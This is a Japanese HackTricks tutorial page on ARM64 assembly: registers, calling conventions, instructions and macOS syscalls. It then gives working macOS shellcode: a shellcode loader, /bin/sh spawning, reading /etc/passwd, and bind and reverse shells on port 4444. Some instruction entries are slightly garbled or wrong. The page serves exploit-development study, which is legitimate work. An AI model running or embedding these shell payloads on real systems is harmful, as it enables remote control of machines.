26 KiB
ARM64の概要
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するために、hacktricks repo と hacktricks-cloud repoにPRを提出してください。
ARM64の概要
ARM64、またはARMv8-Aは、スマートフォン、タブレット、サーバー、さらには一部のハイエンドパーソナルコンピュータ(macOS)など、さまざまなタイプのデバイスで使用される64ビットプロセッサアーキテクチャです。これは、省電力なプロセッサ設計で知られる企業であるARM Holdingsの製品です。
レジスタ
ARM64には、x0
からx30
までの31個の汎用レジスタがあります。各レジスタは**64ビット(8バイト)**の値を格納できます。32ビットの値のみを必要とする操作では、同じレジスタにはw0
からw30
までの名前で32ビットモードでアクセスできます。
x0
からx7
- これらは通常、スクラッチレジスタとサブルーチンへのパラメータの渡しに使用されます。
- **
x0
**は関数の戻り値も保持します。
x8
- Linuxカーネルでは、x8
はsvc
命令のシステムコール番号として使用されます。macOSではx16が使用されます!x9
からx15
- 一時レジスタであり、ローカル変数によく使用されます。x16
とx17
- 一時レジスタであり、間接関数呼び出しやPLT(Procedure Linkage Table)スタブにも使用されます。
x16
はsvc
命令のシステムコール番号として使用されます。
x18
- プラットフォームレジスタです。一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されています。x19
からx28
- これらは呼び出し元のために値を保持する必要がある呼び出し先保存レジスタです。x29
- フレームポインタ。x30
- リンクレジスタ。BL
(Branch with Link)またはBLR
(Branch with Link to Register)命令が実行されるときに返されるアドレスを保持します。sp
- スタックポインタで、スタックの先頭を追跡するために使用されます。pc
- 次に実行される命令を指すプログラムカウンタ。
呼び出し規約
ARM64の呼び出し規約では、関数への最初の8つのパラメータはレジスタ**x0
からx7
に渡されます。追加のパラメータはスタック上に渡されます。戻り値はレジスタx0
に返されます。128ビットの場合はx1
にも返されます。x19
からx30
とsp
レジスタは、関数呼び出しを超えて保存**する必要があります。
アセンブリで関数を読む場合は、関数のプロローグとエピローグを探します。プロローグでは通常、フレームポインタ(x29
)を保存し、新しいフレームポインタを設定し、スタックスペースを割り当てます。エピローグでは通常、保存されたフレームポインタを復元し、関数から戻ります。
Swiftの呼び出し規約
Swiftには独自の呼び出し規約があり、https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64で見つけることができます。
一般的な命令
ARM64の命令は一般的に**opcode dst, src1, src2
の形式を持ちます。ここで、opcode
は実行する操作**(add
、sub
、mov
など)を示し、dst
は結果が格納される宛先レジスタ、src1
とsrc2
はソースレジスタです。ソースレジスタの代わりに即値を使用することもできます。
mov
: 1つのレジスタから別のレジスタに値を移動します。- 例:
mov x0, x1
— これはx1
からx0
に値を移動します。 ldr
: メモリから値をレジスタにロードします。- 例:
ldr x0, [x1]
— これはx1
が指すメモリ位置から値をx0
にロードします。 str
: レジスタの値をメモリにストアします。- 例:
str x0, [x1]
— これはx0
の値をx1
が指すメモリ位置にストアします。 ldp
: レジスタのペアを**連続したメ- 例:
add x0, x1, x2
— これはx1
とx2
の値を足し合わせて結果をx0
に格納します。 sub
: 2つのレジスタの値を引き算し、結果をレジスタに格納します。- 例:
sub x0, x1, x2
— これはx1
からx2
を引き、結果をx0
に格納します。 mul
: 2つのレジスタの値を掛け算し、結果をレジスタに格納します。- 例:
mul x0, x1, x2
— これはx1
とx2
の値を掛け合わせて結果をx0
に格納します。 div
: 1つのレジスタの値をもう一つのレジスタで割り、結果をレジスタに格納します。- 例:
div x0, x1, x2
— これはx1
をx2
で割り、結果をx0
に格納します。 bl
: リンク付き分岐で、サブルーチンを呼び出すために使用されます。戻りアドレスをx30
に格納します。- 例:
bl myFunction
— これはmyFunction
関数を呼び出し、戻りアドレスをx30
に格納します。 blr
: レジスタで指定されたターゲットのサブルーチンを呼び出すために使用されるリンク付き分岐です。戻りアドレスをx30
に格納します。- 例:
blr x1
— これはx1
に格納されたアドレスの関数を呼び出し、戻りアドレスをx30
に格納します。 ret
: サブルーチンからのリターンで、通常は**x30
**のアドレスを使用します。- 例:
ret
— これはx30
に格納された戻りアドレスを使用して現在のサブルーチンから戻ります。 cmp
: 2つのレジスタを比較し、条件フラグを設定します。- 例:
cmp x0, x1
— これはx0
とx1
の値を比較し、条件フラグを適切に設定します。 b.eq
: 等しい場合に分岐し、前のcmp
命令に基づきます。- 例:
b.eq label
— 前のcmp
命令で2つの値が等しい場合、これはlabel
にジャンプします。 b.ne
: 等しくない場合に分岐します。この命令は条件フラグをチェックし(前の比較命令で設定された)、比較された値が等しくない場合はラベルまたはアドレスに分岐します。- 例:
cmp x0, x1
の後にb.ne label
—x0
とx1
の値が等しくない場合、これはlabel
にジャンプします。 cbz
: ゼロの場合に比較して分岐します。この命令はレジスタとゼロを比較し、等しい場合はラベルまたはアドレスに分岐します。- 例:
cbz x0, label
—x0
の値がゼロの場合、これはlabel
にジャンプします。 cbnz
: ゼロでない場合に比較して分岐します。この命令はレジスタとゼロを比較し、等しくない場合はラベルまたはアドレスに分岐します。- 例:
cbnz x0, label
—x0
の値がゼロでない場合、これはlabel
にジャンプします。 adrp
: シンボルのページアドレスを計算し、レジスタに格納します。- 例:
adrp x0, symbol
— これはsymbol
のページアドレスを計算し、x0
に格納します。 ldrsw
: メモリから符号付き32ビット値を64ビットに符号拡張してロードします。- 例:
ldrsw x0, [x1]
— これはx1
が指すメモリ位置から符号付き32ビット値をロードし、64ビットに符号拡張してx0
に格納します。 stur
: レジスタの値をメモリの場所に格納します。格納場所は別のレジスタからのオフセットで指定します。- 例:
stur x0, [x1, #4]
— これはx1
に現在格納されているアドレスよりも4バイト大きいメモリアドレスにx0
の値を格納します。 svc
: システムコールを行います。"Supervisor Call"の略です。プロセッサがこの命令を実行すると、ユーザーモードからカーネルモードに切り替わり、カーネルのシステムコール処理コードが配置されている特定のメモリ位置にジャンプします。- 例:
mov x8, 93 ; システムコール番号(exitの場合は93)をレジスタx8にロードします。
mov x0, 0 ; 終了ステータスコード(0)をレジスタx0にロードします。
svc 0 ; システムコールを実行します。
関数プロローグ
- リンクレジスタとフレームポインタをスタックに保存します:
{% code overflow="wrap" %}
stp x29, x30, [sp, #-16]! ; ペアx29とx30をスタックに保存し、スタックポインタをデクリメントします
{% endcode %}
2. 新しいフレームポインタを設定します:mov x29, sp
(現在の関数のために新しいフレームポインタを設定します)
3. ローカル変数のためにスタック上にスペースを確保します(必要な場合):sub sp, sp, <size>
(ここで<size>
は必要なバイト数です)
関数エピローグ
- ローカル変数を解放します(割り当てられている場合):
add sp, sp, <size>
- リンクレジスタとフレームポインタを復元します:
{% code overflow="wrap" %}
ldp x29, x30, [sp], #16 ; ペアx29とx30をスタックから復元し、スタックポインタをインクリメントします
{% endcode %}
3. リターンします:ret
(リンクレジスタのアドレスを使用して呼び出し元に制御を返します)
macOS
BSDシスコール
syscalls.masterを参照してください。BSDシスコールではx16 > 0となります。
Machトラップ
syscall_sw.cを参照してください。Machトラップではx16 < 0となりますので、前のリストの番号をマイナスで呼び出す必要があります。たとえば、**_kernelrpc_mach_vm_allocate_trap
は-10
**です。
これら(およびBSD)のシスコールを呼び出す方法を見つけるために、逆アセンブラで**libsystem_kernel.dylib
**を確認することもできます。
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
{% hint style="success" %}
時には、ソースコードをチェックするよりも、libsystem_kernel.dylib
から逆コンパイルされたコードをチェックする方が簡単です。なぜなら、いくつかのシスコール(BSDとMach)のコードはスクリプトによって生成されるため(ソースコードのコメントをチェックしてください)、dylibでは何が呼び出されているかを見つけることができます。
{% endhint %}
シェルコード
コンパイルするには:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
バイトを抽出するには:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
シェルコードをテストするためのCコード
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #includeint (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### シェル
[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から引用し、説明します。
{% tabs %}
{% tab title="adrを使用" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{% tab title="スタックを使用して" %}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
{% endtab %} {% endtabs %}
catコマンドで読む
目標は、execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
を実行することです。したがって、第2引数(x1)はパラメータの配列である必要があります(メモリ上ではアドレスのスタックを意味します)。
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
メインプロセスが終了しないように、フォークからshを使用してコマンドを呼び出す
Sometimes, when executing a command in a forked process, the main process gets terminated. To avoid this, you can use the sh
command to invoke the desired command. This way, the main process will not be killed.
時には、フォークされたプロセスでコマンドを実行すると、メインプロセスが終了してしまうことがあります。これを避けるために、sh
コマンドを使用して目的のコマンドを呼び出すことができます。これにより、メインプロセスは終了されません。
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
バインドシェル
バインドシェルは、https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s からポート4444で利用できます。
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
リバースシェル
https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s から、127.0.0.1:4444 へのリバースシェルを取得します。
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。